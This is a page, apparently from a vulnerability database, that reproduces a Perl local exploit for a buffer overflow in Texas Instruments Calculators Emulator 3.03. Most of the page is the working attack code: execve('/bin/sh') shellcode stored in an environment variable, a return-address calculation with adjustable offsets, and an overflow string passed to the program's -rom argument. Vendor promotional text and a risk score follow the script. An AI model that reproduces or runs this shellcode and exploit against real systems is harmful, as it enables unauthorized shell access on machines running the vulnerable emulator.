Texas Instruments Calculators Emulator 3.03 Buffer Overflow
`#!/usr/bin/perl
#################################################################
#This exploit uses command line arguments for different offsets #
#So it can be tested on different systems *NIX Flavours #
#################################################################
##########################################################################
#Texas Instruments Emulator exploit #
#Version: 3.03-nogdb+dfsg-3 #
# #
#As discussed here previously: https://www.exploit-db.com/exploits/39692/#
#And here https://packetstormsecurity.com/files/136679/Texas-Instruments #
#-Calculators-Emulator-3.03-nogdb-dfsg-3-Buffer-Overflow.html #
# #
# EMAIL -> n_a at tutanota.com #
# #
##########################################################################
$filename = "usr/bin/tiemu"; #path name of the binary
$shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\xb0\x0b\xcd\x80";
#Calculating the return address of our shellcode
$ret = 0xbffffffa - length($shellcode) - length($filename);
#Try different offsets
$offs = $ARGV[0];
print "\n***Local Exploit for Texas Instruments Emulator***\n";
print "\t\tBy N_A\n\n";
print "Use: $0 Offset\n\n";
sleep 1;
printf("Ret Shellcode 0x%x\n",$ret + $offs);
$adr = pack('l', ($ret + $offs));
$buff = 'A' x 96;
$buff .= $adr x 6;
#Set buffer in local var
local($ENV{'NNN'}) = $shellcode;
exec("$filename -rom= $buff");
#eof
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Apr 2016 00:00Current
0.1Low risk
Vulners AI Score0.1